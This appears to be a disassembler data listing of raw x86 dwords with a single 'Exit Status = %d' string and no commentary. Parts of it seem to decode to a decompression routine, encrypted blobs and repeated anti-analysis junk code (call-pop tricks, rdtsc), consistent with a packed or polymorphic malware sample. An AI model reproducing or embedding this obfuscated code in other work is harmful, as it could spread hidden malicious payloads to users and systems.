		dd 8D290000h, 61F1C51h,	89C232F9h, 1F1449BDh, 1D7A0506h
		dd 8B608A75h, 1F2DB9B5h, 6830F06h, 29000000h, 1F2F7DBDh
		dd 0CC8A6106h, 13E9h, 94300000h, 6676D30Dh, 44CB1029h
		dd 0F4F0CDB9h, 0F3A73728h, 0B589C8D3h, 61F32BDh, 0D1084235h
		dd 81850998h, 60061F11h, 1031958Bh, 0BF0F061Fh,	0CAFE61F3h
		dd 0E1858B60h, 0E9061F1Dh, 8, 93501008h, 1EFD6233h, 0FD20A61h
		dd 0FFFF8885h, 8E9FFh, 666C0000h, 0D7A7DBF7h, 0E94B63EEh
		dd 6, 0C61ABE8Bh, 8D898678h, 61F1D41h, 6830F46h, 89000000h
		dd 1F1BB195h, 0FDB0B06h, 0FFFF3885h, 9E9FFh, 0DA340000h
		dd 8DC89CBAh, 0CFE634F0h, 2AFDB589h, 9D29061Fh,	61F14FDh
		dd 0BD010000h, 61F158Dh, 8C0F0000h, 0Ch, 68D0Fh, 830F0000h
		dd 0
		dd 5E90000h, 0B2000000h, 0D775489Dh, 0BD890000h, 61F2B01h
		dd 394D858Dh, 12E9061Fh, 0A7000000h, 0A9C47159h, 835EAE7h
		dd 580D03E2h, 8B79822Bh, 0D58589F6h, 89061F24h,	1F007DB5h
		dd 82858D06h, 60061F3Eh, 2CFD9D8Bh, 9D89061Fh, 61F1AE1h
		dd 75858961h, 0EB061F14h, 14h, 3 dup(0)
		dd 8800h, 91858D00h, 89061F41h,	1F189D85h, 0D1BD8306h
		dd 61F40h, 123840Fh, 85C60000h,	61F2025h, 5F9E6856h, 48185F9h
		dd 260D9B24h, 0D9B5FF4Eh, 8D061F20h, 1F394D85h,	89D0FF06h
		dd 1F40C585h, 2585C606h, 56061F20h, 40DDAB68h, 243481D1h
		dd 4DE865F9h, 20D9B5FFh, 858D061Fh, 61F394Dh, 8589D0FFh
		dd 61F40C9h, 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 1F40D585h
		dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 1F40C995h
		dd 0CD858906h, 8B061F40h, 0FFFFB8D8h, 95FFFFFFh, 61F189Dh
		dd 95FFC38Bh, 61F189Dh,	84E9h, 0D1BD8300h, 61F40h, 1850Fh
		dd 57C30000h, 40CDBD8Bh, 83AB061Fh, 1F40CD85h, 0C35F0406h
		dd 40D1BD83h, 0F00061Fh, 185h, 8360C300h, 1F40CDADh, 9D8B0406h
		dd 61F40CDh, 0FFFC7B83h, 1D850Fh, 0AF680000h, 81B5E42Eh
		dd 51512404h, 6A4A1Ch, 95FF33FFh, 61F40C5h, 1DE9C361h
		dd 68000000h, 3F48AC38h, 38243481h, 6A3F482Ch, 0FF33FF00h
		dd 1F40C595h, 0CDAD8306h, 4061F40h, 0FFFFB1E9h,	0ADE948FFh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 43360000h, 5205A4A1h, 76412BEDh, 0D00AE4FBh,	7E544CABh
		dd 7E3E868h, 0D202ADDFh, 4523DF7Bh, 656B637Bh, 100EA9A1h
		dd 615323E1h, 0C21BB7A9h, 355B09ACh, 0D938B07h,	0D31FB9D5h
		dd 45238D77h, 66646579h, 1014A9A1h, 7E493EFEh, 0DC07A9A9h
		dd 3B4F1EB7h, 41A7E86Ch, 0C21FBDC2h, 0B22DF3Ah,	7070656Ch
		dd 5F12B0A1h, 7E473EFFh, 0A7h, 62h dup(0)
		dd 43360000h, 5E0FADA1h, 614938F1h, 0DE10B4A9h,	76571EBFh
		dd 12A2EE2Dh, 0D309BA90h, 44308D35h, 22616460h,	5E0EB5F3h
		dd 334122F1h, 0C842AAE0h, 3B4419B7h, 15B0FF7Eh,	0BC42B5D5h
		dd 4E3AFD56h, 2E607974h, 5C0EB5A1h, 33422DF7h, 0D742B0E0h
		dd 3B5B03AAh, 0EAEE360h, 0D74CA1C2h, 5976C935h,	63717970h
		dd 4940B4F3h, 335439F7h, 0D60DB6F9h, 355B0DAAh,	48h dup(0)
		dd 43360000h, 5112A3A1h, 614327FBh, 0C542B7AEh,	3B5A03B7h
		dd 41B0E765h, 0D809BDD2h, 5E39CB7Bh, 70256E7Bh,	590EAEF4h
		dd 7A062BF6h, 0DE1BE4E7h, 68161EADh, 4B7F574h, 0BB66F6DDh
		dd 4A33C10Bh, 22296F66h, 5F0CAEF4h, 7A0628F9h, 0C304E4FDh
		dd 761601B7h, 13ACEB68h, 0D80DF8C9h, 4E248D3Fh,	70647E66h
		dd 5F19E0F5h, 63063EEDh, 0C305ABFBh, 1801B9h, 61h dup(0)
		dd 44360000h, 1005ACE8h, 615423FBh, 0D416B4FCh,	3B184DBCh
		dd 12AAEE59h, 0D91EA890h, 4637DF3Ch, 71646235h,	5505A2A1h
		dd 724B6CF6h, 0C412ADE7h, 7E420DB4h, 0FA2A669h,	0D701F8D4h
		dd 2133CF22h, 25716318h, 5E09E0F2h, 674529FEh, 0D342A0ECh
		dd 3B574CA1h, 14B1EF5Bh, 0C403F8C3h, 4A24CE7Bh,	66606176h
		dd 5834E0AFh, 75063FF1h, 9107A8E0h, 3C5803AFh, 0EB4A679h
		dd 0D74CB3C2h, 443BD435h, 2B6F67h, 0E0h	dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2CF1E900h, 0D3810000h, 3D6B184Ch, 12E8FCh, 0E29A0000h
		dd 0A3B76D2Dh, 0BE679452h, 920742DEh, 52DF1677h, 2FF59589h
		dd 8B5A061Fh, 0D0C280C0h, 6C1BD83h, 7500061Fh, 51BD8309h
		dd 61F1Fh, 53501374h, 1B8C08Bh,	8D000000h, 21AE469Dh, 5BD3FF06h
		dd 51BD8358h, 61F1Fh, 53501174h, 1B8h, 0F79D8D00h, 0FF0621ACh
		dd 0F585BD3h, 8B66D8BFh, 6AC08BDAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2846C350h
		dd 77F4AD09h, 12E9h, 95255F00h,	0F9076FDEh, 0A69B40D7h
		dd 92DE0E43h, 66B88C68h, 0BD83D18Bh, 61F06B1h, 4B840F00h
		dd 83000001h, 1F2739BDh, 840F0006h, 13Eh, 42D0B6BBh, 6A605Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 45EF55C3h, 14519D8Bh, 858B061Fh, 61F2739h, 6E9h, 0EB8FFE00h
		dd 5509256h, 3E8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0AEC35141h, 0C275166h, 0C28166BFh, 4FB38C3Ch
		dd 0D98B6690h, 52505050h, 8A0Fh, 310F0000h, 8F0Fh, 585A0000h
		dd 0BB66905Bh, 858D8844h, 61F4D8Ch, 50B0E280h, 89DF8B66h
		dd 9D8B2404h, 61F0665h,	6880Fh,	85890000h, 61F16E9h, 4D6A858Dh
		dd 0D381061Fh, 31FA562Dh, 54BB6690h, 0BA6650D2h, 0F90B3E1h
		dd 688h, 91952900h, 0FF061F07h,	1F00A195h, 15BD2906h, 83061F0Fh
		dd 958B0CC4h, 61F09A5h,	4D6A858Dh, 0BD29061Fh, 61F108Dh
		dd 89D98A50h, 95892404h, 61F2CB1h, 8B60026Ah, 9D9589CBh
		dd 61061F19h, 857495FFh, 810F0068h, 0Ch, 68F0Fh, 95330000h
		dd 61F10C9h, 51006A61h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 24211671h, 85C70A9Bh, 61F4D9Dh, 1
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6CC35747h
		dd 0BB66500Ch, 3489C0CAh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B5892B10h
		dd 61F4D4Eh, 110D9D89h,	0BD83061Fh, 61F0EF5h, 20850F01h
		dd 81000000h, 0C01F3CDBh, 5F8831Eh, 11850Fh, 81660000h
		dd 0B8E3DCE3h, 0
		dd 0CB816656h, 835AA445h, 1F2C31BDh, 840F0006h,	0Ch, 0B86AE380h
		dd 0
		dd 1EF380F5h, 0E3816660h, 0BF0F94F2h, 51858BD8h, 66061F17h
		dd 83B3DBBAh, 6A02C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0EF43FDC3h, 0E0838803h, 0F8C74355h
		dd 4D468589h, 0FE9061Fh, 0A6000000h, 8C24F49Ch,	4EB7E234h
		dd 35C66141h, 0C6221Ch,	89D48AFFh, 1F0B3595h, 2585C606h
		dd 53061F20h, 68D08B66h, 0E04AA5B4h, 48109B3h, 66A32424h
		dd 0FF75B31Ch, 1F3271B5h, 0D38B6606h, 7993858Dh, 6A0622h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DF32F0C3h, 0A7E2441Eh, 4C40BA34h, 0D0FF68E4h, 89D18B66h
		dd 1F1D4585h, 0C99D2906h, 66061F0Bh, 55C5D281h,	2329BD83h
		dd 0F01061Fh, 15285h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0B24F5E13h, 55CCFA82h
		dd 61DCC380h, 0D55958Bh, 85C6061Fh, 61F2025h, 0B5858945h
		dd 68061F2Ch, 0CE667465h, 48D0Fh, 0BB660000h, 481406Eh
		dd 0F9C45D24h, 51006A0Bh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0AAF37EDBh, 51C7F7F2h
		dd 8E9h, 0B55B0C00h, 2FE23CE1h,	98B65BC2h, 3271B5FFh, 6A061Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0C1043CC3h, 8B23CE08h, 1F02819Dh, 0D2816606h, 958B380Dh
		dd 61F08A1h, 7993858Dh,	0CF800622h, 6AD0FF57h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 5B89C356h, 0B98F1C90h, 0DBA66F6h, 38F0FEDh, 66000000h
		dd 9D89D38Bh, 61F2371h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0EB2AEBC3h, 0E148C963h
		dd 8BC915D9h, 1F2FA995h, 0C59D8B06h, 0FF061F19h, 56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 59958BE0h, 83061F0Ah, 1F2AE9BDh, 850F0106h, 127h, 8B2BB660h
		dd 858B61D3h, 61F1751h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0B2C35242h, 9FE9E0h, 6A0000h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A2A999C3h, 9D8B5873h, 61F0F15h, 12E9h, 0E8E70700h
		dd 5105E75Ah, 3D30DF44h, 65D6C7E9h, 90220E7Fh, 52505250h
		dd 4866BA66h, 0BA66310Fh, 585A94D8h, 0D98A310Fh, 0B350585Ah
		dd 0EB8190FAh, 71376DF4h, 0F098589h, 146A061Fh,	95FFD88Bh
		dd 61F1D45h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	7FC35646h, 78BD0773h, 58A9BFC7h, 583CEE80h, 148EF80h
		dd 1F23A59Dh, 388006h, 0FF95850Fh, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E2D934C3h
		dd 8B14536Ah, 1F074D95h, 199D8B06h, 0C6061F1Bh,	6A0100h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 56A8D3C3h, 615B45B3h, 0E6D9D8Bh, 0BD83061Fh,	61F1D5Dh
		dd 62840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0C6A8C355h,	8A0F239Eh
		dd 3, 6ADFBF0Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 9C3287D4h, 95FFB8C0h
		dd 61F1D45h, 66D68B66h,	0E96F41BAh, 0FFFFFFCBh,	0B99C10BAh
		dd 5D85C714h, 1061F1Dh,	66000000h, 9589D98Bh, 61F3281h
		dd 4D528589h, 9D8B061Fh, 61F0AE9h, 52506050h, 310FB2B4h
		dd 0EE8h, 0A0030700h, 632AB32Dh, 2EF322BEh, 58910119h
		dd 0D1BE585Ah, 61020BEAh, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8F7C355h
		dd 60D18B66h, 6AD3D680h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 96A1B64Fh, 894B68A7h
		dd 1F2BD58Dh, 6A858D06h, 66061F4Dh, 506474BBh, 89DA8B66h
		dd 0D2812404h, 18B18D63h, 0E21ADEBBh, 5A858D32h, 6A061F4Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0E5CDC351h, 13E89095h, 0FE000000h, 0ADFA6DAEh
		dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 68BA4240h, 5B57F390h
		dd 60525050h, 61DA8B66h, 8B66310Fh, 90585ADAh, 95FFD68Bh
		dd 61F06E5h, 0D9BF0F52h, 238D8D5Bh, 0E8061F7Ah,	0Bh, 622A70E5h
		dd 0E39E064Eh, 5B3979C0h, 1174C00Bh, 4D6A858Dh,	0FF50061Fh
		dd 888589D1h, 0EB061F4Dh, 8885C70Ah, 0FF061F4Dh, 66FFFFFFh
		dd 0FE9DE8Bh, 6A000000h, 7CE3BAABh, 69F6BECFh, 2233D378h
		dd 66617B56h, 0C6BC48BAh, 1F202585h, 8B604D06h,	1F24A185h
		dd 0AE806h, 98360000h, 3F778165h, 3C24A44Bh, 15919D09h
		dd 615B061Fh, 0A7478B68h, 0E8525028h, 12h, 0ED7EAD9Bh
		dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 8B661B7Dh,	310F5BD1h
		dd 11E85250h, 29000000h, 1F23A8BEh, 0DDB8C213h,	0A97E513Fh
		dd 0A47BC129h, 5A310F5Bh, 81585A58h, 2F1D2404h,	958B7B8Eh
		dd 61F1AE1h, 2A79B5FFh,	6A061Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0D09F93C3h, 0A0988BFBh
		dd 890FF6B2h, 2, 858DDE8Bh, 6227993h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0E9C35040h,	8509AA3Ch, 61F0061h
		dd 0B589D0FFh, 61F2CB5h, 16E58589h, 952B061Fh, 61F08F5h
		dd 5B86D381h, 85C62DDFh, 61F2025h, 0DDB58945h, 0BB061F07h
		dd 7D8FB95Fh, 0FCBF0D68h, 52505738h, 310F5250h,	310F585Ah
		dd 5ADE8B66h, 4815B58h,	75AA5C24h, 51006A55h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 362AFC8Fh
		dd 0B5FF1DC7h, 61F3271h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F0C35646h, 0D7EB1E9Ch, 46DB3812h, 0CE968h
		dd 1D110000h, 33FBD894h, 3BE15A6Ah, 858DD6FCh, 6227993h
		dd 5A5952Bh, 0D0FF061Fh, 8589DA8Bh, 61F0EE1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 1EC35747h, 0B5892AB2h
		dd 61F0E55h, 9589D28Bh,	61F0FB5h, 0FD98C66h, 1887h, 13E900h
		dd 0B2A20000h, 0AE80D3D7h, 78487ADFh, 11D6DB28h, 0E6AFAF2Eh
		dd 4C1F6B6h, 253840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B8F02C3h, 10AE9D9h
		dd 95890000h, 61F1B2Dh,	1BB5B58Bh, 0BF0F061Fh, 810FB3DAh
		dd 1180C6h, 38F0F00h, 80000000h, 0BD8344F2h, 61F09CDh
		dd 36850F00h, 0F000000h, 0A82h,	4890F00h, 66000000h, 0E98C6ABAh
		dd 0ADh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	62C35242h, 0DC13018Bh, 3E83FAh,	83840Fh, 26B70000h
		dd 14C5958Bh, 8060061Fh, 146A99E7h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 48C35040h, 0F4A0343Ah, 2D499589h
		dd 95FF061Fh, 61F1D45h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 1FC35646h
		dd 0F906C3h, 4E7DC405h,	399D8B8Fh, 61061F07h, 0E9AECA81h
		dd 0AE9334Eh, 4C000000h, 1FE4AB1Ch, 80185DEAh, 0FF77E97Dh
		dd 0B70FFFFFh, 106C7D6h, 0E8000000h, 0Eh, 3081B480h, 8341E02Fh
		dd 0EDAA746Bh, 5AF8C72Fh, 4D52BD83h, 0F05061Fh,	11885h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0A5663AE2h, 33227E28h, 6EBA1163h, 8930F7A8h
		dd 1F1C11BDh, 0E1B58B06h, 89061F0Eh, 1F070D95h,	64B906h
		dd 0BD090000h, 61F2F41h, 0FE83E80h, 2C84h, 3FEA8100h, 0E921B611h
		dd 31h,	13E8h, 0CFF39900h, 8C3492Fh, 0B654AC30h, 0B06DFC88h
		dd 270F81CDh, 31852952h, 5B061F2Bh, 57E805Bh, 8A840FC2h
		dd 81000000h, 0E25E8FE3h, 0F494623h, 0FFFFB385h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 13990E44h, 89F6A694h, 1F1B2D85h, 45952306h, 0F061F02h
		dd 1C83h, 14E800h, 0EF9C0000h, 0A74630E2h, 0CE416558h
		dd 7624D5Ah, 0A3692372h, 6160385Ch, 2FE95Bh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 5BCB45C3h, 8993DC7Ah, 1F0CF19Dh, 0A1B58906h,	0B2061F2Ah
		dd 0BD8958E7h, 61F00F5h, 1D51BD83h, 0F00061Fh, 0BD84h
		dd 4D858900h, 60061F0Eh, 14C9B589h, 85C6061Fh, 61F2025h
		dd 5DDA6854h, 5250AF34h, 8E8h, 45114F00h, 0B57158A3h, 5ABEB33Fh
		dd 8B66310Fh, 81585ADAh, 0E32E2434h, 8531507Ah,	61F11DDh
		dd 12658D89h, 0B5FF061Fh, 61F3271h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 3AC35747h, 0FD7B519h, 68Dh
		dd 0CD958900h, 8D061F16h, 22799385h, 0F3816606h, 0D0FF3483h
		dd 1B999589h, 6A061Fh, 0DAD38166h, 51B5FF45h, 66061F1Dh
		dd 0FF907ABAh, 0CE9D0h,	3F910000h, 0E2E95E65h, 8DC6E95Ah
		dd 0B58982AEh, 61F30A9h, 0F2816661h, 0BA669AE6h, 85C7B377h
		dd 61F078Dh, 1,	31A9B589h, 6A60061Fh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 4D01C357h
		dd 15F54F97h, 0FD1DB01Dh, 9CEF3668h, 81F2B739h,	0EFB62434h
		dd 8F0F399Ch, 3, 6A5AFC51h, 5E8FFh, 3D360000h, 60BE655Fh
		dd 860Fh, 61FC0000h, 0F995FF5Bh, 0BA061F14h, 0F9DF7Fh
		dd 299D2B61h, 90061F08h, 10E8h,	3AE8C700h, 0FAB6A6D4h
		dd 0ED3571D8h, 0F8795140h, 5ADE8BB5h, 905A5350h, 5840Fh
		dd 81660000h, 8B67D7E2h, 1F315585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 558153EDh
		dd 81028C6Ah, 0AC47A5F2h, 0FC00B2Bh, 1284h, 41BD8900h
		dd 0FF061F15h, 1F233D95h, 0CD9D8906h, 0C7061F19h, 1F128185h
		dd 106h, 9509F500h, 61F16A1h, 0DF9BD83h, 0F00061Fh, 1B84h
		dd 0D1BD8900h, 89061F14h, 1F2AB99Dh, 1595FF06h,	81061F0Bh
		dd 0CB159FEAh, 0D2BF0F0Eh, 1EA5BD83h, 0F00061Fh, 2F84h
		dd 918D0100h, 0FF061F1Fh, 1F0A6D95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0E3C84279h
		dd 0D8E835CAh, 235BD83h, 0F00061Fh, 2F84h, 0BD83FC00h
		dd 61F0D75h, 21850F00h,	8B000000h, 1F08BD95h, 0F995FF06h
		dd 0E8061F0Ah, 0Ah, 7E557D15h, 0D7550CC5h, 8166F64Ch, 5A12ACDAh
		dd 839BD83h, 0F00061Fh,	8A84h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0E6E384ACh
		dd 65958BE2h, 81061F23h, 1F0F6585h, 400306h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0A8ED6DB3h, 331A1648h, 1F248595h, 95858106h,	3061F13h
		dd 6A000040h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0C660C355h, 2E16F486h,	69B607E6h
		dd 0FD7B70Fh, 8D8DFC31h, 61F5C4Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0CBC35747h,	0F092B60Eh, 31499D0Bh
		dd 8057061Fh, 295A36DFh, 1F0DFD95h, 6A018906h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 6468C350h, 0CE908h, 7F340000h, 6A6B4907h, 0AF4A1B42h
		dd 0BA6605CBh, 0C2338478h, 89D0B70Fh, 6A0441h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0D0F86EC3h, 5E9h, 1E703900h,	310F1917h, 7E9h, 47699F00h
		dd 0BCA9EB68h, 5C818D8Dh, 958B061Fh, 61F2E99h, 0DDD1BB66h
		dd 0CEBB0189h, 336F93AEh, 0C9BD89C2h, 89061F1Eh, 8E80441h
		dd 0FA000000h, 1DD30243h, 0E950BB6Eh, 0Eh, 7FF140CDh, 0C50A113Ah
		dd 84E8A1D0h, 835B9B9Fh, 1F2EF9BDh, 840F0006h, 30h, 6E9h
		dd 8643DE00h, 0FFA6D7AFh, 1F0D6995h, 19880F06h,	52000000h
		dd 12E9h, 0E25A7500h, 3E1A466Dh, 6EA6BCC4h, 1A42630Eh
		dd 5A357FB2h, 13D5BD83h, 0F01061Fh, 4985h, 0A30BA00h, 3FE931C9h
		dd 89000000h, 1F0E1995h, 0F2B58B06h, 0C7061F5Dh, 6, 7CB58B00h
		dd 0C7061F5Bh, 6, 0D18BCF00h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0E9C35141h,	0BD83F995h, 61F1281h
		dd 1840F00h, 6A000001h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0E8F9C352h,	0CAD46E0Ch
		dd 66974BF0h, 835EA8BBh, 1F2B9DBDh, 850F0106h, 0B9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AAC35343h, 8ABB4B74h
		dd 468D8BD5h, 0B3061F4Dh, 1C693h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 22C35747h, 0E96073B3h, 13h
		dd 9454FA3Ah, 0ED85131h, 817FDE25h, 745DEEC9h, 686D4714h
		dd 0EF10C968h, 18240481h, 8B10EF37h, 1F0B899Dh,	0FFF6A06h
		dd 95FFD9B7h, 61F14F9h,	13E961h, 54B10000h, 0E261C565h
		dd 66C8EF22h, 2651B75Bh, 0C98D437Bh, 0A59D01C2h, 0FF061F05h
		dd 1F0FDD95h, 0F7D28006h, 4D468D8Bh, 8166061Fh,	0FEC438F2h
		dd 0BCBA6601h, 2DBD8344h, 1061F31h, 6850Fh, 958B0000h
		dd 61F05F9h, 0F53C08Bh,	0C8Ch, 7E900h, 0BC670000h, 0E5D9117Bh
		dd 0BD835A39h, 61F06C1h, 83097500h, 1F1F51BDh, 1A740006h
		dd 0C08B5350h, 0F65858Bh, 8589061Fh, 61F0F65h, 0AFA49D8Dh
		dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50187400h,	65858B53h
		dd 89061F0Fh, 1F0F6585h, 939D8D06h, 0FF0621ACh,	89585BD3h
		dd 1F085D85h, 0DBBF0F06h, 8166C08Bh, 837C7AE2h,	1F1281BDh
		dd 850F0006h, 4Dh, 60DABF0Fh, 0E830Fh, 9E90000h, 92000000h
		dd 3C12F3E6h, 0C4800985h, 53D28160h, 0E96A56DAh, 14h, 79E85CB3h
		dd 0BA9782D1h, 0F5BB4937h, 7DC7D6A9h, 8186CD1Fh, 0BD836161h
		dd 61F1AD9h, 6840F00h, 89000000h, 1F31B19Dh, 81BD8306h
		dd 61F12h, 29840Fh, 10E90000h, 0E0000000h, 0A69284FDh
		dd 0A2A99914h, 0C9E15873h, 8340FA8Eh, 1F2A45BDh, 840F0006h
		dd 7, 8C24BA51h, 835A79B2h
		dd 1F1281BDh, 840F0006h, 3Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 8AC35747h, 8AD3014Bh, 958B98EEh
		dd 61F0D65h, 2A45BD83h,	0F00061Fh, 584h, 0C3816600h, 0BD831615h
		dd 61F1281h, 21840F00h,	66000000h, 8B5D15BAh, 1F00E99Dh
		dd 0FDBD8306h, 61F2Fh, 0A840Fh,	53560000h, 2C6D9D23h, 5A5B061Fh
		dd 1281BD83h, 0F00061Fh, 4284h,	68F0F00h, 33000000h, 1F119995h
		dd 39BD8306h, 61F1Fh, 29840Fh, 0FFF50000h, 1F2E0D95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 70C29B5Ch, 8B47D481h, 0D88B66C0h, 6C1BD83h, 7500061Fh
		dd 51BD8309h, 61F1Fh, 53501A74h, 858BC08Bh, 61F1395h, 13958589h
		dd 9D8D061Fh, 621B00Bh,	585BD3FFh, 1F51BD83h, 7400061Fh
		dd 8B535018h, 1F139585h, 95858906h, 8D061F13h, 21ACAC9Dh
		dd 5BD3FF06h, 0BD896058h, 61F1D41h, 0EE9h, 2009E500h, 0C4F58A1h
		dd 0EFA18127h, 61839791h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 41C35242h, 0C08BDF8Bh, 12E8h,	64EBF500h
		dd 5AA5486Dh, 69AF1872h, 0C1599777h, 0B36E9E8Bh, 0BD835B7Fh
		dd 61F1281h, 68840F00h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3EF6C352h
		dd 0A8E82508h, 242D9503h, 0B860061Fh, 1BC77F3Eh, 83615957h
		dd 1F2329BDh, 840F0206h, 1Dh, 25BD31h, 9D8B061Fh, 61F0E29h
		dd 13D5BD83h, 0F01061Fh, 485h, 72BB6600h, 0B5BD839Ch, 61F16h
		dd 0A5840Fh, 0BA660000h, 6A60A66Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C029C351h
		dd 0CF439D8Fh, 0E18A607Fh, 468D8B61h, 0FE061F4Dh, 0D78B6601h
		dd 0AC77BBBh, 0ADF16874h, 10E94307h, 81000000h,	0B54AF8Dh
